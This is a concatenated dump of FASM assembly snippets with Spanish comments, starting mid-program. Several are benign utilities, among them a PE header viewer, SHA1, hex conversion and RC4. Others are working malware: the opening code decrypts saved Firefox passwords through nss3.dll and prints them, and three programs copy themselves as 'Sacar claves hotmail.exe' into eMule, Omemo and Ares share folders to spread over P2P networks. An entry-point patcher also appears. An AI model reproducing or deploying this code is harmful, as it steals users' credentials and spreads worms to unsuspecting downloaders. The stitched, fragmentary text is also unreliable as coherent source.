mov [P],eax
stdcall Concat,sPath, "nss3.dll",eax
invoke LoadLibrary,[P]
mov [lvLibs7],eax
invoke LocalFree,[P]
;1A
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
stdcall Zerar,sFFPath,MAX_PATH
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
invoke lstrcat,sFFPath,sRet
invoke lstrcat,sFFPath,"\signons3.txt"
invoke CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
mov [hFile], eax
invoke GetFileSize, eax, 0
mov [tamAr], eax
invoke GlobalAlloc, GPTR, eax
mov [IB], eax
invoke ReadFile, [hFile], [IB], [tamAr], bUsados, 0
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sRet2
invoke lstrcat,sRet2 ,"\Mozilla\Firefox\"
invoke lstrcat,sRet2 ,sRet
;lKeySlot
invoke GetProcAddress,[lvLibs7], "NSS_Init"
stdcall eax,sRet2
.if eax = 0
invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
stdcall eax
mov [lKeySlot],eax
.if eax <> 0
invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
stdcall eax,[lKeySlot],TRUE,0
.if eax = 0
xor edi,edi
mov ebx,[IB]
invoke printf,Espacio
invoke printf,Espacio
.bucle:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],"."
jne .bucle
cmp byte[ebx+1],13
jne .bucle
cmp byte[ebx+2],10
jne .bucle
add ebx,3
.if byte[ebx] <> 0
mov [URL],ebx
.bucle2:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle2
cmp byte[ebx+1],10
jne .bucle2
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,Espacio
invoke printf,Espacio
invoke printf,"WEB: %s",[URL]
invoke printf,Espacio
.campo:
add ebx,2
mov [Campo],ebx
.bucle3:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle3
cmp byte[ebx+1],10
jne .bucle3
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,"Campo: %s",[Campo]
invoke printf,Espacio
add ebx,2
mov [valor],ebx
.bucle4:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle4
cmp byte[ebx+1],10
jne .bucle4
mov byte[ebx],0
mov byte[ebx+1],0
invoke lstrlen,[valor]
mov [Campo],eax
invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
stdcall eax,0, tsec, [valor], [Campo]
invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
stdcall eax, tsec,tSecDec, 0
invoke printf,"Datos: %s",[tSecDec.SECItemData]
invoke printf,Espacio
add ebx,2
.if dword[ebx] = "http"
sub ebx,2
jmp .bucle
.else
sub ebx,2
jmp .campo
.endif
.endif
.endif
.endif
.endif
.endif
salir:
invoke ExitProcess,0
proc Cargar, sPathL, libreria
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,[sPathL],[libreria] ,eax
invoke LoadLibrary,[P]
invoke LocalFree,[P]
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
include 'api/kernel32.inc'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
include 'api/shell32.inc'
section '.reloc' fixups data discardable
include 'win32ax.inc'
INVALID_FILE_SIZE = 0xffffffff
.code
start:
stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
.if eax = 0
invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
.else
invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
.endif
invoke ExitProcess,0
proc ChangeEntryPoint,Path,NewEP:DWORD
locals
Handle dd ?
Tamaño dd ?
Emezeta dd ?
cantidad dd ?
endl
push ebx
invoke CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ;Abrimos el archivo para lectura
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle],eax ;Guardamos el handle
invoke GetFileSize, eax, 0 ;Vemos el tamaño
cmp eax,INVALID_FILE_SIZE
je .error
mov [Tamaño], eax
invoke GlobalAlloc, GPTR, eax
mov [Emezeta], eax
invoke ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0 ;Leemos el archivo
cmp eax,TRUE
jne .error
invoke CloseHandle,[Handle] ;Cerramos el handle
cmp eax,NULL
je .error
mov ebx,[Emezeta]
cmp word[ebx],"MZ"
jne .error
add ebx,dword[ebx+03ch]
cmp word[ebx],"PE"
jne .error
xor eax,eax
mov eax,[NewEP]
mov dword[ebx+28h],eax ;Cambiamos el EP
invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 ;Creamos el archivo borrando el anterior
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle], eax
;Escibimos el archivo
invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
; "Cerramos" el archivo
invoke CloseHandle,[Handle]
cmp eax,NULL
je .error
mov eax,1
jmp .salir
.error:
xor eax,eax
.salir:
pop ebx
ret
endp
.end start
proc EOFExtraDataExtract,FHandle
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
format pe console
include 'win32ax.inc'
.data
Espacio equ 13,10,0 ;Para pasar a una nueva linea.
RutaArchivo rb MAX_PATH ;Variable para guardar la ruta de el archivo
PunteroPEheader dd ? ; Puntero de el Pe header
Logo db ' ===================================',13,10 ; LOGO PRINCIPAL
db ' = PE visor by YST =',13,10
db ' ===================================',13,10,0
LogoGeneral db ' ===================================',13,10 ; LOGO GENERAL
db ' = General =',13,10
db ' ===================================',13,10,0
LogoSecciones db ' ===================================',13,10
db ' = Secciones =',13,10 ;LOGO DE INFO DE LAS SECCIONES
db ' ===================================',13,10,0
LogoExport db ' ===================================',13,10
db ' = Export data =',13,10 ;LOGO DE INFO DE el Export data
db ' ===================================',13,10,0
LogoImport db ' ===================================',13,10
db ' = Import data =',13,10 ;LOGO DE INFO DE el import data
db ' ===================================',13,10,0
FHandle dd ? ; MZ de el archivo
.code
start:
invoke system,"color 3" ;Ponemos el color de texto
invoke printf,Logo ;Imprimimos el logo
invoke printf,Espacio ;Ponemos dos nuevas lineas.
invoke printf,Espacio
invoke printf,"Inserte la ruta de el archivo a examinar:" ; Preguntamos el archivo
invoke printf,Espacio
invoke scanf,"%s",RutaArchivo ;Obtenemos la ruta de el archivo
invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
.if eax = 0 ; Si hay error
invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
invoke printf,RutaArchivo
invoke ExitProcess,0 ; Nos salimos.
.else ; De lo contrario
.if word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
mov [FHandle],eax ; Guardamos el MZ en FHandle
.else ; De lo contrario
invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
.if word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
mov [PunteroPEheader],eax ; Guardamos el puntero de el PE header en PunteroPEheader
.else ; De lo contrario
invoke printf,"No se a detectado PE header." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov ebx,[FHandle]
mov ebx,dword[ebx+03ch]
invoke printf,"La posicion de el PE header es : 0x%x" ,ebx ;Mostramos la direccion de el PE header
invoke printf,Espacio ; Pasamos a la siguiente linea.
add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"Subsystem: " ;Imprimimos el Subsystem
.if dword[ebx+5Ch] = 2h ;SI es GUI
invoke printf,"Windows GUI" ; Imprimimos Windows GUI
.else ; De lo contrario es CUI (Consola)
invoke printf,"Windows CUI" ; Imprimimos Windows CUI
.endif ;Terminamos el if
invoke printf,Espacio ; Pasamos a la siguiente linea.
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"Posicion de el EOF: 0x%x",eax ;Imprimimos la posicion de el EOF
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov esi,[PunteroPEheader] ;Movemos el puntero de el PE Header a esi.
movzx ebx,word[esi+06h] ; Guardamos la cantidad de secciones en ebx.
invoke printf,"Numero de secciones: %d",ebx ;Imprimimos la cantidad de secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.bucleImprimeSecciones: ; Bucle que imprime secciones
dec ebx ;Les restamos uno a ebx
mov eax,28h ;Hacemos que eax sea igual a $28
mul ebx ;Multiplicamos ebx
add eax,0xf8 ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
add eax,esi ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
mov edi,eax ;Guardamos eax en edi
invoke printf,"Name: %s",edi ;Imprimimos el nombre de la sección.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"virtual address: 0x%x",dword[edi+0ch] ;Imprimimos el virtual address
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"VirtualSize: 0x%x",dword[edi+08h] ;Imprimimos el VirtualSize
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ; Imprimimos el SizeOfRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"pointerToRawData : 0x%x",dword[edi+14h] ;Imprimimos el pointerToRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
cmp ebx,0
jne .bucleImprimeSecciones ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoExport ;Imprimimos el logo de la informacion de el export data.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.if dword[esi+078h] = 0 ; Si no hay export data
invoke printf,"[+]No se exporta ninguna funcion."
invoke printf,Espacio ; Pasamos a la siguiente linea.
.else
mov ebx,dword[esi+078h]
add ebx,[FHandle]
invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h] ;Imprimimo la cantidad de funciones exportadas.
invoke printf,Espacio ; Pasamos a la siguiente linea. +
mov edi,dword[ebx+20h] ;AddressOfNames
add edi,[FHandle]
mov ebx,dword[ebx+18h] ;Numero de exports
invoke printf,"Funciones exportadas: "
invoke printf,Espacio
.bucleExportData: ;Bucle para imprimir la export data
dec ebx
mov eax, [edi + ebx * 4]
add eax,[FHandle]
invoke printf,"[+]%s",eax
invoke printf,Espacio
cmp ebx,0
jne .bucleExportData ;Si no se an imprimido todas seguimos
.endif
invoke printf,LogoImport
invoke printf,Espacio
invoke printf,Espacio
mov eax,[PunteroPEheader]
.if dword[eax+80h] = NULL ;Si no importamos ninguna funcion.
invoke printf,"[+]No importa ninguna funcion."
.else;De lo contrario
stdcall Sacaimport,[FHandle]
.endif
invoke system,"pause"
invoke ExitProcess,0
proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
proc Sacaimport ,handle
locals
Export dd ?
endl
pushad
mov eax,[handle]
mov ebx,dword[eax+03ch]
add ebx,eax
mov ebx,dword[ebx+80h]
add ebx,eax
mov [Export],ebx
.buclelib:
mov ebx,[Export]
mov edi,dword[ebx+0ch]
cmp edi,0
je .salir
add edi,[handle]
invoke printf,"- Funciones de %s: ",edi
invoke printf,"%s",Espacio
xor esi,esi
mov esi,dword[ebx]
add esi,[handle]
mov edi,esi
xor ebx,ebx
.bucleapi:
xor esi,esi
mov esi,dword[edi+ebx]
cmp esi,0
je .otralib
add esi,[handle]
add esi,2h
invoke printf," [*]%s",esi
invoke printf,"%s",Espacio
add ebx,04h
jmp .bucleapi
.otralib:
add [Export] ,14h
jmp .buclelib
.salir:
popad
ret
endp
.end start
section '.reloc' fixups data discardable
;Descripción: Convierte un dato a hexadecimal
; by YST
proc StringToHex,cPuntero,cCantidad,cBuffer
pushad
mov esi,[cPuntero]
mov edi,[cBuffer]
.bucle:
cmp [cCantidad],0
je .salir
xor edx,edx
movzx eax,byte[esi]
mov ebx,16
div ebx
mov bl, byte[numeros+eax]
mov byte[edi],bl
mov bl, byte[numeros+edx]
mov byte[edi+1],bl
add edi,2
inc esi
dec [cCantidad]
jmp .bucle
.salir:
popad
ret
numeros db '0123456789ABCDEF',0
endp
proc HexToString,cPuntero,cCantidad,cBuffer
pushad
mov edi,[cPuntero]
mov esi,[cBuffer]
.bucle:
cmp [cCantidad] ,0
je .salir
movzx eax,byte[edi]
xor edx,edx
mov ebx,16
div ebx
mov ecx,edx
.if byte[edi] >= 'A'
add ecx,9
.endif
xor edx,edx
mov eax,16
mul ecx
mov ecx,eax
movzx eax,byte[edi+1]
xor edx,edx
mov ebx,16
div ebx
.if byte[edi+1] >= 'A'
add edx,9
.endif
add ecx,edx
mov byte[esi],cl
inc esi
add edi,2
dec [cCantidad]
jmp .bucle
.salir :
popad
ret
endp
include 'win32ax.inc'
.data
buffer rb 41
var0 db "12345",0
.code
start:
invoke lstrlen,var0
stdcall SHA1Hash ,var0 ,eax,buffer
invoke MessageBox,0,buffer,buffer,0
leave
ret
;Descripción: Saca el hash sha1 de un dato
; by YST
proc SHA1Hash ,pbData,dwDataLen,cBuffer
locals
hProv dd ?
PROV_RSA_FULL = 1
CALG_SHA = 0x00008004
hHash dd ?
cBuf rb 40
dwSigLen dd ?
endl
pushad
invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,0
.if [hProv] = 0
invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,8h
.endif
invoke CryptCreateHash,[hProv],CALG_SHA, 0, 0, addr hHash
invoke CryptHashData,[hHash], [pbData],[dwDataLen] , 0
invoke CryptGetHashParam,[hHash], 2, 0,addr dwSigLen, 0
.if [dwSigLen] <> 0
invoke CryptGetHashParam,[hHash], 2, addr cBuf,addr dwSigLen, 0
.endif
invoke CryptDestroyHash,[hHash]
invoke CryptReleaseContext,[hProv], 0
stdcall StringToHex,addr cBuf,20,[cBuffer]
popad
ret
endp
;Descripción: Convierte un dato a hexadecimal
; by YST
proc StringToHex,cPuntero,cCantidad,cBuffer
pushad
mov esi,[cPuntero]
mov edi,[cBuffer]
.bucle:
cmp [cCantidad],0
je .salir
xor edx,edx
movzx eax,byte[esi]
mov ebx,16
div ebx
mov bl, byte[numeros+eax]
mov byte[edi],bl
mov bl, byte[numeros+edx]
mov byte[edi+1],bl
add edi,2
inc esi
dec [cCantidad]
jmp .bucle
.salir:
popad
ret
numeros db '0123456789ABCDEF',0
endp
.end start
include 'win32ax.inc'
entry start
.code
cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
proc start
locals
lBuffer rb MAX_PATH
lBuffer2 rb MAX_PATH
lBuffer3 rb MAX_PATH
endl
stdcall Zerar,addr lBuffer,MAX_PATH
stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\eMule" , "Install Path",addr lBuffer
.if eax = 0
jmp .exit
.endif
invoke lstrcat,addr lBuffer,"\config\preferences.ini"
invoke PathFileExists,addr lBuffer
.if eax <> 0
stdcall Zerar,addr lBuffer2,MAX_PATH
invoke GetPrivateProfileString,"eMule", "IncomingDir", 0, addr lBuffer2, 260, addr lBuffer
invoke lstrlen,addr lBuffer2
lea ebx,[lBuffer2]
mov byte[ebx+eax],"\"
invoke lstrcat, addr lBuffer2,cName
MOV EaX, [FS:30h]
MOV EaX, [EaX + 10h]
MOV EaX, [EaX + 3Ch]
stdcall Zerar,addr lBuffer3,MAX_PATH
stdcall UniToAscii, addr lBuffer3,eax
invoke CopyFile, addr lBuffer3, addr lBuffer2,0
jmp .exit
.else
jmp .exit
.endif
.exit:
invoke ExitProcess,0
endp
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:
mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
proc Zerar,Puntero,Cantidad ;Funcion que llena de 0 una posicion
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*3
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
lea ebx,[temp]
invoke RegQueryValueEx ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
mov eax,TRUE
.salir:
ret
endp
section '.idata' import data readable
library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll'
include 'api/kernel32.inc'
include 'api/advapi32.inc'
import shlwapi,PathFileExists,'PathFileExistsA'
include 'win32ax.inc'
entry start
.code
cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
proc start
locals
lBuffer rb MAX_PATH
lBuffer2 rb MAX_PATH
lBuffer3 rb MAX_PATH
endl
stdcall Zerar,addr lBuffer,MAX_PATH
stdcall LeerRegistro,HKEY_LOCAL_MACHINE,"SOFTWARE\Omemo" , "InstallDir",addr lBuffer
.if eax = 0
jmp .exit
.endif
invoke lstrcat,addr lBuffer,"\Omemo.ini"
invoke PathFileExists,addr lBuffer
.if eax <> 0
stdcall Zerar,addr lBuffer2,MAX_PATH
invoke GetPrivateProfileString,"global", "SAVE_AS_FOLDER", 0, addr lBuffer2, 260, addr lBuffer
invoke lstrlen,addr lBuffer2
lea ebx,[lBuffer2]
mov byte[ebx+eax],"\"
invoke lstrcat, addr lBuffer2,cName
MOV EaX, [FS:30h]
MOV EaX, [EaX + 10h]
MOV EaX, [EaX + 3Ch]
stdcall Zerar,addr lBuffer3,MAX_PATH
stdcall UniToAscii, addr lBuffer3,eax
invoke CopyFile, addr lBuffer3, addr lBuffer2,0
jmp .exit
.else
jmp .exit
.endif
.exit:
invoke ExitProcess,0
endp
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:
mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
proc Zerar,Puntero,Cantidad ;Funcion que llena de 0 una posicion
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*3
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
lea ebx,[temp]
invoke RegQueryValueEx ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
mov eax,1
.salir:
ret
endp
section '.idata' import data readable
library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
include 'api/kernel32.inc'
include 'api/advapi32.inc'
include 'api/user32.inc'
import shlwapi,PathFileExists,'PathFileExistsA'
include 'win32ax.inc'
entry start
.code
cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
proc start
locals
lBuffer rb MAX_PATH
lBuffer2 rb MAX_PATH
lBuffer3 rb MAX_PATH
endl
stdcall Zerar,addr lBuffer,MAX_PATH
stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\Ares" , "Download.Folder",addr lBuffer
.if eax = 0
jmp .exit
.endif
stdcall Zerar,addr lBuffer2,MAX_PATH
invoke lstrlen,addr lBuffer
stdcall HexToString,addr lBuffer,eax,addr lBuffer2
invoke lstrlen,addr lBuffer2
lea ebx,[lBuffer2]
mov byte[ebx+eax],"\"
mov ebx,MAX_PATH
sub ebx,eax
lea edx,[lBuffer2]
inc eax
add eax,edx
stdcall Zerar,eax,ebx
invoke lstrcat, addr lBuffer2,cName
MOV EaX, [FS:30h]
MOV EaX, [EaX + 10h]
MOV EaX, [EaX + 3Ch]
stdcall Zerar,addr lBuffer3,MAX_PATH
stdcall UniToAscii, addr lBuffer3,eax
invoke CopyFile, addr lBuffer3, addr lBuffer2,0
.exit:
invoke ExitProcess,0
endp
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:
mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
proc Zerar,Puntero,Cantidad ;Funcion que llena de 0 una posicion
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*3
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
lea ebx,[temp]
invoke RegQueryValueEx ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
mov eax,1
.salir:
ret
endp
proc HexToString,cPuntero,cCantidad,cBuffer
pushad
mov edi,[cPuntero]
mov esi,[cBuffer]
.bucle:
cmp [cCantidad] ,0
je .salir
movzx eax,byte[edi]
xor edx,edx
mov ebx,16
div ebx
mov ecx,edx
.if byte[edi] >= 'A'
add ecx,9
.endif
xor edx,edx
mov eax,16
mul ecx
mov ecx,eax
.if word[edi] = "C3" | word[edi]= "c3"
mov byte[esi],"ó"
add edi,4
inc esi
sub [cCantidad],2
jmp .bucle
.endif
movzx eax,byte[edi+1]
xor edx,edx
mov ebx,16
div ebx
.if byte[edi+1] >= 'A'
add edx,9
.endif
add ecx,edx
mov byte[esi],cl
inc esi
add edi,2
dec [cCantidad]
jmp .bucle
.salir :
popad
ret
endp
section '.idata' import data readable
library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
include 'api/kernel32.inc'
include 'api/advapi32.inc'
import shlwapi,PathFileExists,'PathFileExistsA'
include 'api/user32.inc'
include 'win32ax.inc'
.data
dString db "i'm a string",0
.code
start:
stdcall fRight,dString,9
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0'
;Funcion que emula la funcion Right de Visual Basic 6
proc fRight,pString,pLen
push esi ebx edi ecx
mov eax,[pLen]
inc eax
invoke GlobalAlloc,GPTR, eax
mov esi,eax
mov ebx,eax
stdcall Len,[pString]
sub eax,[pLen]
mov edi,[pString]
add edi,eax
.bucle_:
cmp [pLen] ,0
je .exit
mov cl,byte[edi]
mov byte[ebx],cl
inc ebx
inc edi
dec [pLen]
jmp .bucle_
.exit:
mov eax,esi
pop ecx edi ebx esi
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
include 'win32ax.inc'
.data
cBuffer db 'Hola',0
cClave db 'Hola',0
s db 257 dup(0)
.code
start:
stdcall Len,cClave
mov ebx,eax
stdcall Len,cBuffer
stdcall RC4,cBuffer,cClave,eax,ebx
invoke MessageBox,0,cBuffer,0,0
invoke ExitProcess,0
proc RC4,pBuffer,pPassword,pTamñoBuffer,pTamPass
pushad
dec [pTamñoBuffer]
; For i = 0 To 255
; DoEvents
; s(i) = i
; Next i
mov eax,s
mov byte[eax],0
inc eax
mov ecx,256
.bucle1_:
mov bl,byte[eax-1]
inc bl
mov byte[eax] ,bl
inc eax
loop .bucle1_
; For i = 0 To 255
; DoEvents
; j = (j + s(i) + Key(i Mod Len(sKey))) Mod 256
; tmp = s(i)
; s(i) = s(j)
; s(j) = tmp
; Next i
;j = ebx
;ja = esi
;I = edi
xor ebx,ebx
mov edi,-1
.bucle2_:
inc edi
xor esi,esi
mov esi,ebx
movzx eax,byte[s+edi]
add esi,eax
stdcall lMod,edi,[pTamPass]
mov ecx,[pPassword]
movzx eax,byte[ecx+eax]
add esi,eax
stdcall lMod,esi,256
mov ebx, eax
mov eax,s
mov cl,byte[eax+ebx] ; s(j)
mov ch,byte[eax+edi] ; s(i)
mov byte[eax+edi],cl
mov byte[eax+ebx],ch
cmp edi,255
jne .bucle2_
inc edi
; For l = 0 To UBound(Buffer)
; DoEvents
; i = (i + 1) Mod 256
; j = (j + s(i)) Mod 256
; tmp = s(i)
; s(i) = s(j)
; s(j) = tmp
; Buffer(l) = Buffer(l) Xor (s((s(i) + s(j)) Mod 256))
; Next l
xor esi,esi ;esi = l
dec esi ; esi = -1
.bucle3_:
inc esi
mov eax,edi
inc eax
stdcall lMod,eax,256
mov edi,eax
mov eax,ebx
xor ecx,ecx
movzx ecx,byte[s+edi]
add eax,ecx
stdcall lMod,eax,256
mov ebx,eax
mov eax,s
mov cl,byte[eax+ebx] ; s(j)
mov ch,byte[eax+edi] ; s(i)
mov byte[eax+edi],cl
mov byte[eax+ebx],ch
mov eax,[pBuffer]
add cl,ch
movzx eax,cl
add eax,s
movzx eax,byte[eax]
stdcall lMod,eax,256
mov edx,[pBuffer]
xor byte[edx+esi],al
cmp esi,[pTamñoBuffer]
jne .bucle3_
popad
ret
endp
invoke ExitProcess,0
proc lMod,c1,c2
push edx
xor edx,edx
mov eax,[c1]
idiv [c2]
push edx
pop eax
pop edx
ret
endp
